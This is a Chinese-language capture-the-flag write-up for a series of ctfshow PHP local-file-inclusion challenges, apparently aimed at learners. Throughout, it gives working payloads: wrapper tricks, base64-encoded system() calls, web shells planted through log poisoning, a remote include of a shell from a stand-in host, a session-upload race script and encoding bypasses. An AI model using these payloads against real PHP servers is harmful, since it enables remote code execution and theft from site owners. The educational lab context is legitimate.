# web78

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

题解一

文件包含

?file=php://filter/convert.base64-encode/resource=flag.php
image-20250801171241071
image-20250801171316898

题解二

伪协议

查看目录下文件

?file=data://text/plain,<?php system("ls") ?>
image-20250801172202035
?file=data://text/plain,<?php system("tac flag.php") ?>
image-20250801171557675

题解三

思路

Nginx 的日志文件 access.log 是一个文本文件,记录了用户请求信息。

如果我们将一段 PHP 代码写进日志,再通过 include('access.log') ,PHP 会执行其中的代码。

我们构造 POST 请求传参,实现 命令执行(RCE)。

Nginx 默认日志路径

如果服务器使用的是 Nginx,默认的日志路径通常是:

  • 访问日志(access log):

    /var/log/nginx/access.log
  • 错误日志(error log):

    /var/log/nginx/error.log

这个路径来源于默认配置文件 /etc/nginx/nginx.conf 中的一段:

access_log  /var/log/nginx/access.log;
error_log   /var/log/nginx/error.log;


Apache 默认日志路径

如果使用的是 Apache(httpd):

  • 访问日志:

    /var/log/apache2/access.log
    
  • 错误日志:

    /var/log/apache2/error.log
    

或在某些系统中(如 CentOS):

/var/log/httpd/access_log
/var/log/httpd/error_log

这些也都由 Apache 的配置文件 /etc/httpd/conf/httpd.conf/etc/apache2/apache2.conf 决定。

访问日志

?file=../../../../var/log/nginx/access.log
image-20250801210238666

构造 User-Agent 使其被写入 access.log(日志包含目标)

<?php eval($_POST[a]); ?>
image-20250801210209458

post 请求

a=system("tac flag.php");
image-20250801210122212

访问页面时,Nginx 会记录以下信息:

  • 访问的 URL
  • IP 地址
  • 请求方法(GET/POST)
  • User-Agent
  • Referer 等

日志格式长这样:

127.0.0.1 - - [01/Aug/2025:12:34:56 +0800] "GET /index.php HTTP/1.1" 200 123 "-" "<?php eval($_POST['a']); ?>"

这个最后的 <?php eval($_POST['a']); ?>" 就是在请求里写的 User-Agent



# web79

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了 php


题解一

换成大写 或者 利用短标签替换 php

?file=data://text/plain,<?Php system("tac flag.php") ?>
?file=data://text/plain,<?= system("tac flag.php") ?>
#甚至可以这样
?file=data://text/plain,<?PHP system("tac flag.php") ?>
?file=data://text/plain,<?= system("tac ????????") ?>
?file=data://text/plain,<?= system("tac f???.???") ?>
?file=data://text/plain,<?= system("tac flag.ph?") ?>
?file=data://text/plain,<?= system("tac f*") ?>
image-20250801232241216

题解二

<?php system("tac flag.php") ?>

进行 base64 编码后 PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKSA/Pg==

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKSA/Pg==
image-20250802011023891

题解三

GET

?file=data://text/plain,<?= eval($_POST[a]);?>

POST

a=system("tac flag.php");
image-20250802002404164

题解四

php://input 是一个 PHP 协议,允许把请求体当做 PHP 代码文件包含执行。

直接访问 php://input ,可以把 HTTP 请求的请求体当作 PHP 代码执行。

这种解法需要在 bp 操作

?file=Php://input
image-20250802003525091
<?Php system('tac flag.php')?>
image-20250802010453916

题解五

日志包含

?file=../../../../var/log/nginx/access.log
    
#User-Agent
<?= eval($_POST[a]); ?>
    
    
#POST
a=system("tac flag.php");
image-20250801212138779

# web80

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了 php data


题解一

日志包含

这次日志路径为 /var/log/nginx/access.log

查看目录

?file=/var/log/nginx/access.log
    
#User-Agent
<?= eval($_POST[a]); ?>
    
    
#POST
a=system("ls");
image-20250802095400414

flag 文件名变换为 fl0g.php

?file=/var/log/nginx/access.log
    
#User-Agent
<?= eval($_POST[a]); ?>
    
    
#POST
a=system("tac fl0g.php");
image-20250802095442524

题解二

远程文件 http://your-shell.com/1 是 PHP 脚本,内容如下:

<?php
    eval($_POST[1]);
?>
image-20250802101056417

利用远程文件 http://your-shell.com/1 进行 POST

?file=http://your-shell.com/1
#POST
1=system("ls");
1=system("tac fl0g.php");
image-20250802101442503

题解三

?file=Php://input
#请求内容
<?php system("ls") ?>
image-20250802102359566
?file=Php://input
#请求内容
<?php system("cat fl0g.php") ?>
image-20250802102504525

# web81

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了 php data :


题解一

查看目录

注意 <?= file_get_contents("http://your-shell.com/1"); ?> 需要添加在原 UA 内容空一格后面(这道题服务器端会对 UA 格式进行检查,需要保留原 UA 内容)

?file=/var/log/nginx/access.log
    
#User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 <?= eval($_POST[a]); ?>
    
    
#POST
a=system("ls");
a=system("tac fl0g.php");
image-20250802235003792
image-20250802235043666

题解二

蚁剑连接

蚁剑一句话木马,添加在 UA 后面,传入日志

<?php @eval($_POST[a]); ?>
image-20250803001820134

连接蚁剑,密码为传入的字段

image-20250803002003634

使用虚拟终端拿到 flag

image-20250803003532075

或者直接查看 flag 文件

image-20250803003725310

# web82

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 19:34:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

题解一

思路:利用 PHP 的上传进度功能 session.upload_progress 把恶意代码注入到服务器临时 session 文件中,然后再用 include() 把这个临时文件包含执行。


知识储备:如果在 cookie 中设置 PHPSESSID (即 session 值)= flag ,那么会在服务器上创建一个 /tmp/sess_flag 文件;对于默认配置,文件内容上传后会被清除,那么我们需要进行环境竞争,在删除之前,对该文件进行文件包含,从而进行命令执行。

php 中的 session.upload_progress : PHP: Session 上传进度 - Manual

php.ini 有其中以下几个默认选项

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.use_strict_mode=off

  • session.upload_progress.enabled = On

    • 📌 作用:
      是否启用 上传进度追踪功能
    • 启用时:
      当客户端通过表单上传文件,并且表单里含有 PHP_SESSION_UPLOAD_PROGRESS 字段时,
      PHP 会自动把此次文件上传的详细信息 (如上传时间、上传进度等) 写入到对应的 session 文件中。
    • 关闭时:
      PHP 不会记录上传进度,即使你表单里加了 PHP_SESSION_UPLOAD_PROGRESS 字段,也不会有任何效果。
  • session.upload_progress.cleanup = On

    • 📌 作用:
      控制 上传完成后,是否自动删除上传进度信息

    • On(默认):
      上传一完成,PHP 会自动清除 session 文件中那段上传进度内容(包括你伪造的 <?php ... ?> )。

      也就是说,恶意内容会在上传后很快被删掉,留给攻击者操作的窗口非常短

    • Off:

      上传完成后,上传进度内容会一直保留在 session 文件中,直到这个 session 超时或被手动清理。

  • session.upload_progress.prefix = "upload_progress_"

    • 📌 作用:

      设置写入 session 文件时的 key 前缀。
      默认是 "upload_progress_" ,所以写入内容的键名是:

      upload_progress_<随机值>

      比如你上传时,如果设置了表单字段:

      <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls'); ?>" />

      那最终写入 session 文件的内容可能是:

      upload_progress_1234|a:6:{
        "start":...,
        "content":"<?php system('ls'); ?>",
        ...
      }
  • session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"

    • 📌 作用:
      指定 表单里用于传递上传进度追踪 ID 的字段名
      默认是:

      <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="..." />

      这个字段值就是上传 ID,也就是 upload_progress_<这个值>
      如果你设置:

      session.upload_progress.name = "PROGRESS_ID"

      那你就必须这样写:

      <input type="hidden" name="PROGRESS_ID" value="<?php system('ls'); ?>" />

      否则 PHP 就不会追踪这个上传进度了。

  • session.use_strict_mode = Off

    • 📌 作用:
      控制 PHP 在创建 session 时是否检查 session ID 的有效性

    • 假设设置如下:

      session.use_strict_mode = Off

      然后你请求网站时伪造了 cookie

      Cookie: PHPSESSID=love

      但服务器上 /tmp/sess_love 文件根本不存在。

      ✅ 如果 strict_modeOff

      • PHP 会 接受你伪造的 session ID
      • 并且 自动创建一个新的 /tmp/sess_love 文件
      • 攻击者就能指定 session 文件的名字,配合题目中的 include() ,非常危险!

      ❌ 如果 strict_modeOn

      • PHP 会发现你提交的 session ID (如 love )在服务器上不存在
      • 拒绝使用这个伪造的 session ID
      • 会自动给你重新生成一个随机的合法 session ID
      • 你无法预测 session 文件名,payload 也没法写进指定的文件

题解一

利用 POST.html 上传任意一个文件

注意在相应位置修改靶机地址和命令

<!DOCTYPE html>
<html>
<body>
<!-- 修改靶机地址 -->
<form action="http://ca852e6a-5dde-48a7-995d-6e6fc0953fdb.challenge.ctf.show//" method="POST" enctype="multipart/form-data">
<!-- 修改命令 -->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>

抓包后,在 cookie 后添加 PHPSESSID=lovePHPSESSID 的值任意)

如下示例

Cookie: ccccooookkkkiiiieee; PHPSESSID=love
image-20250804001653557

将抓到的包发送到 Intruder 爆破模块,注意没有 payload 插入点

设置 Payload typeNull payloads

勾选 Continue indefinitely 无限重复

image-20250804002512882

新建 Resource pool 资源池,设置线程 30

Start attack 开始爆破,不断上传文件

image-20250805162000310

访问 靶机?file=/tmp/sess_love 并抓包

image-20250804002722557

同上(这里不需要对 cookie 进行修改处理)

将抓到的包发送到 Intruder 爆破模块,注意没有 payload 插入点

设置 Payload typeNull payloads

勾选 Continue indefinitely 无限重复

image-20250804002512882

新建 Resource pool 资源池,设置线程 80 (访问包的线程数需要大于上传包的线程数)

Start attack 开始爆破,不断访问文件

image-20250805162212020

查看访问 靶机?file=/tmp/sess_love 的包的爆破结果

根据 Length 长度的不同找到命令的回显

image-20250804005056379
image-20250805161317653

image-20250804005515129

题解二

ctfshow82.py 多线程并发注入 + 读取 + 停止控制脚本(速度极快)

import io
import requests
import threading
import time
# === [1] 靶机地址 ===
url = 'http://18f03190-5919-406c-a800-d21ef782a4ec.challenge.ctf.show/'
# === [2] 自定义参数 ===
PHPSESSID = 'flag'
PAYLOAD = '<?php system("cat fl0g.php");?>mylove'   # 修改命令,自定义标识符
IDENTIFIER = 'mylove'  # 用于判断是否成功执行
TARGET_SESS_PATH = '/tmp/sess_flag'  # 修改读取地址
# === [3] 线程控制器 ===
found_flag = threading.Event()
# === [4] 上传线程:持续伪造上传进度 ===
def upload_payload(session, thread_id):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': PAYLOAD
    }
    while not found_flag.is_set():
        try:
            fake_file = io.BytesIO(b'A' * 1024 * 10)  # 10KB 文件
            session.post(
                url,
                cookies={'PHPSESSID': PHPSESSID},
                data=data,
                files={'file': (f'upload_{thread_id}.txt', fake_file)},
                timeout=3
            )
            print(f'[Upload-{thread_id}] Upload OK')
        except Exception as e:
            print(f'[Upload-{thread_id}] Error: {e}')
# === [5] 读取线程:不断读取 sess 文件,等待触发执行 ===
def read_session(session, thread_id):
    while not found_flag.is_set():
        try:
            response = session.get(f'{url}?file={TARGET_SESS_PATH}', timeout=2)   # 修改靶机读取地址
            if IDENTIFIER in response.text:
                print(f'\n[+] [Read-{thread_id}] Payload executed successfully!\n')
                print(response.text)
                found_flag.set()
                break
            else:
                print(f'[-] [Read-{thread_id}] Not ready')
        except Exception as e:
            print(f'[Read-{thread_id}] Error: {e}')
        time.sleep(0.2)
# === [6] 主控函数:并发调度线程 ===
def main():
    session = requests.Session()
    threads = []
    # 启动多个上传线程
    for i in range(3):
        t = threading.Thread(target=upload_payload, args=(session, i))
        t.daemon = True
        t.start()
        threads.append(t)
    # 启动多个读取线程
    for i in range(5):
        t = threading.Thread(target=read_session, args=(session, i))
        t.daemon = True
        t.start()
        threads.append(t)
    # 等待直到有线程设置 found_flag
    while not found_flag.is_set():
        time.sleep(0.2)
    print("\n[+] Done. Exiting all threads.")
# === [7] 执行入口 ===
if __name__ == '__main__':
    main()
image-20250807012753787
image-20250807012915867

# web83

Warning: session_destroy(): Trying to destroy uninitialized session in /var/www/html/index.php on line 14
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:28:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_unset();
session_destroy();
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

题解同 web82

image-20250807020107570

# web84

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:40:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

rm -rf /tmp/* 强制递归地删除 /tmp 目录下的所有文件和子目录。

  • rm :删除文件或目录的命令。
  • -r :递归删除,表示如果是目录,则删除目录内所有内容。
  • -f :强制删除,不会提示确认。
  • /tmp/*/tmp 目录下的所有文件和文件夹( * 是通配符,匹配所有文件和目录)。

其实 session.upload_progress.cleanup = on 本身就会进行清空


题解同 web82

(可通过降低上传线程、增大读取线程、降低 time.sleep 更快得到回显)

image-20250807020302836

# web85

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 20:59:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    if(file_exists($file)){
        $content = file_get_contents($file);
        if(strpos($content, "<")>0){
            die("error");
        }
        include($file);
    }
    
}else{
    highlight_file(__FILE__);
}

增加

if(file_exists($file)){
    $content = file_get_contents($file);
    if(strpos($content, "<") > 0){
        die("error");
    }
}
  • if(file_exists($file)){
    判断变量 $file 指定的文件是否存在。如果存在,进入代码块。

  • $content = file_get_contents($file);
    读取该文件的全部内容,赋值给 $content 变量。

  • if(strpos($content, "<") > 0){
    strpos 是查找字符串中某个字符或子串首次出现的位置。
    这里查找字符串 "<" (小于号)在 $content 中第一次出现的位置。
    返回值是数字(首次出现的下标),或者 false (没找到)。
    这里用 > 0 判断:表示只有当 "<" 出现在第 1 个及之后的位置时(下标大于 0)才进入判断。
    注意,这里如果 "<" 出现在字符串开头(下标 0),不会触发条件。

  • die("error");
    直接终止程序运行,输出 error


依旧可以选择脚本解题


题解同 web82

image-20250809001445881
image-20250809001640338

# web86

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:20:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
    
}else{
    highlight_file(__FILE__);
}

define('还要秀?', dirname(__FILE__));

  • define 是 PHP 定义常量的函数,第一个参数是常量名(字符串),第二个参数是常量值。
  • 这里定义了一个名为 '还要秀?' 的常量(中文名常量是允许的,只要符合 PHP 标识符规范就行,但中文名一般不推荐)。
  • dirname(__FILE__) 返回当前文件所在目录的绝对路径,比如 /var/www/html
  • 因此,这条语句是将当前文件所在目录路径赋值为常量 '还要秀?'
  1. set_include_path(还要秀?);
  • set_include_path() 是 PHP 用来设置 include 路径 的函数,也就是 includerequire 等函数查找文件的目录。
  • 参数是一个字符串,表示新的包含路径。
  • 这里传入了常量 还要秀? (之前定义的当前目录路径)。
  • 也就是说, include_path 被设置成了当前脚本所在的目录。

设置 PHP 的包含路径为当前文件的目录路径。这样在后续代码中使用 include() 时,可以省略文件的完整路径,只需提供文件名。

当使用 include()require()include_once()require_once() 时,如果提供的路径既不是绝对路径也不是相对路径,PHP 会首先在 include_path 设置的目录中查找文件。


题解同 web82

image-20250809001850778

# web87

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
    
}else{
    highlight_file(__FILE__);
}

base64 编码只包含 64 个可打印字符,而 php 解码 base64 时遇到不在其中的字符,会忽略掉,将合法字符进行组合变成一个字符串进行解码,所以 <?php die('大佬别秀了');?> 对其解码后,只有 phpdie 六个字符组成字符串进行解码

base64 算法解码时是 4 个 byte 一组,为了绕过 die ,需要在 content base64 编码后的前面加上两个字母

?file=php://filter/write=convert.base64-decode/resource=1.php

因为题目中有 urldecode($file) ,所以我们需要对其进行两次 URL 编码

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

POST

对一句话木马 <?php @eval($_POST[a]);?> 进行 base64 编码得到 PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg== 并在前面加上两个字母

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

之后可实现远程代码执行

POST

a=system("ls");
image-20250809141916723

POST

a=system("tac fl0g.php");
image-20250809141949995

# web88

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-17 02:27:25
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
 */
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

<?php system(“ls”); ?> 经 base64 编码得 PD9waHAgc3lzdGVtKCJscyIpOyA/Pg==

由于过滤符号,所以将 == 去掉

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg
image-20250809154753979
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmwwZy5waHAiKTsgPz4
image-20250809160357104

# web116

题目提示 lfi (php 本地文件包含漏洞)

?file=index.php
image-20250809161138619

查看源代码得到

<?php
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=isset($_GET['file'])?$_GET['file']:"5.mp4";
filter($file);
header('Content-Type: video/mp4');
header("Content-Length: $file");
readfile($file);
?>

/index.php?file=flag.php

查看源代码

image-20250810105105695

# web117

<?php
/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

  1. iconv() 函数概述

iconv() 是 PHP 用来进行字符编码转换的函数:

string iconv ( string $in_charset , string $out_charset , string $str )
  • $in_charset :输入字符串的当前编码格式,比如 UTF-8GBKISO-8859-1UCS-2 等。
  • $out_charset :转换成目标编码格式。
  • $str :需要转换的字符串。

功能:把 $str$in_charset 编码转换成 $out_charset 编码。


  1. convert.iconv. 伪协议(Filter)

PHP 的 php://filter 允许你对数据流进行过滤。 convert.iconv. 过滤器就是用来做字符编码转换的,效果相当于在流读取 / 写入过程中执行 iconv()

用法举例:

php://filter/convert.iconv.UTF-8/GBK/resource=file.txt

这表示读取 file.txt ,然后把内容从 UTF-8 转成 GBK


  1. UCS-2 编码

UCS-2 是一种固定长度的字符编码,使用两个字节(16 位)来编码一个字符。它是 UTF-16 的前身,但不支持代理对(surrogate pairs),只编码基本多文种平面。

  • 特点
    • 每个字符占用 2 字节(2 个字节 = 16 位)。
    • 因此处理 UCS-2 编码字符串时,必须保证字符串的字节数是偶数。

  1. 字节序(Endian)

字节序指的是多字节数据在存储或传输时,字节的排列顺序。

  • 大端序(Big Endian,BE):高位字节存放在低地址(前面),低位字节存放在高地址(后面)。
  • 小端序(Little Endian,LE):低位字节存放在低地址(前面),高位字节存放在高地址(后面)。

举例,一个 16 位的数字 0x1234

  • 大端序存储为字节序列: 12 34
  • 小端序存储为字节序列: 34 12

  1. "UCS-2BE""UCS-2LE"
  • "UCS-2BE" :UCS-2 大端序编码
    字符的两个字节按大端顺序存储,高字节在前,低字节在后。
    例如字符 'A' (Unicode 0x0041)存储为 00 41
  • "UCS-2LE" :UCS-2 小端序编码
    字符的两个字节按小端顺序存储,低字节在前,高字节在后。
    例如字符 'A' 存储为 41 00

<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>
    
/*
经过一次反转:?<hp pe@av(l_$EG[T]a;)>?
经过第二次反转:<?php @eval($_GET[a]);?>
*/

经过两次反转,代码又回到正常可读状态


GET file 指向 php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php ,让写入时做编码转换。

利用编码顺序变换破坏 <?php die();?> ,同时让我们 POST 的 payload 转换后变成正常 PHP。

POST contents 是事先构造好的 UCS-2LE 版本的 <?php eval($_GET[a]);?>

#GET
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=1.php
#POST
contents=?<hp pe@av(l_$EG[T]a;)>?
image-20250810004733731
/1.php?a=system("ls");
image-20250810004613048
/1.php?a=system("tac flag.php");
image-20250810004644416